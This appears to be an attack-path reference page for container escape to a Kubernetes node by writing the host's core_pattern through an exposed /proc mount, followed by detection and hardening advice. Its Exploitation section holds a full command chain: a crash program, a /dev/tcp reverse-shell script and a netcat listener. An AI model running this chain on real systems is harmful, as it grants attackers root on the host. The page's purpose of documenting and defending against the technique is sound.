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CE_UMH_CORE_PATTERN

Container escape via the core_pattern usermode_helper in the case of an exposed /proc mount.

Source Destination MITRE
Container Node Escape to Host, T1611

Details

/proc/sys/kernel/core_pattern defines a program which is executed on core-file generation (typically a program crash) and is passed the core file as standard input if the first character of this file is a pipe symbol |. This program is run by the root user and will allow up to 128 bytes of command line arguments. Attacker control of this progam would allow trivial code execution within the container host given any crash and core file generation (which can be simply discarded during a myriad of malicious actions). With write access to the host /proc directory and no additional privileges, an attacker can abuse this to escape a container and gain root on the containing K8s node.

Prerequisites

Execution within a container process with the host /proc/sys/kernel (or any parent directory) mounted inside the container.

See the example pod spec.

Checks

Determine mounted volumes within the container as per VOLUME_DISCOVER. If the host /proc/sys/kernel (or any parent directory) is mounted, this attack will be possible. Example below.

$ cat /proc/self/mounts 

...
proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0
...

Exploitation

First find the path of the container's filesystem on the host. This can be done by retrieving the current mounts (see VOLUME_DISCOVER). Looks for the upperdir value of the overlayfs entry associated with containerd:

$ cat /etc/mtab  # or `cat /proc/mounts` depending on the system
...
overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/27/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/work 0 0
...

# Store path in a variable for future use
$ OVERLAY_PATH=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs

Oneliner alternative:

export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir="[^,]*," | cut -d = -f 2 | tr -d , | head -n 1)

Next create a mini program that will crash immediately and generate a kernel coredump. For example:

echo 'int main(void) {
    char buf[1];
    for (int i = 0; i < 100; i++) {
        buf[i] = 1;
    }
    return 0;
}' > /tmp/crash.c

Compile the program and copy the binary into the container as crash: 

apt update && apt install gcc
gcc -o crash /tmp/crash.c

Next write a shell script to be triggered inside the container's file system as shell.sh:

# Reverse shell
REVERSE_IP=$(hostname -I | tr -d " ") && \
echo '#!/bin/sh' > /tmp/shell.sh
echo "sh -i >& /dev/tcp/${REVERSE_IP}/9000 0>&1" >> /tmp/shell.sh && \
chmod a+x /tmp/shell.sh

Finally write the usermode_helper script path to the core_pattern helper path and trigger the container escape:

# move to mounted folder with /proc
cd /sysproc
echo "|$OVERLAY_PATH/tmp/shell.sh" > core_pattern
cd
apt install netcat-traditional
sleep 5 && ./crash & nc -l -vv -p 9000

Defences

Monitoring

  • Use the Datadog agent to monitor for creation of new usermode_helper programs via writes to known locations, in this case /proc/sys/kernel/core_pattern.

Implement security policies

Use a pod security policy or admission controller to prevent or limit the creation of pods with a hostPath mount of /proc or other sensitive locations.

Least Privilege

Avoid running containers as the root user. Enforce running as an unprivileged user account using the runAsNonRoot setting inside securityContext (or explicitly setting runAsUser to an unprivileged user). Additionally, ensure that allowPrivilegeEscalation: false is set in securityContext to prevent a container running as an unprivileged user from being able to escalate to running as the root user.

Calculation

References: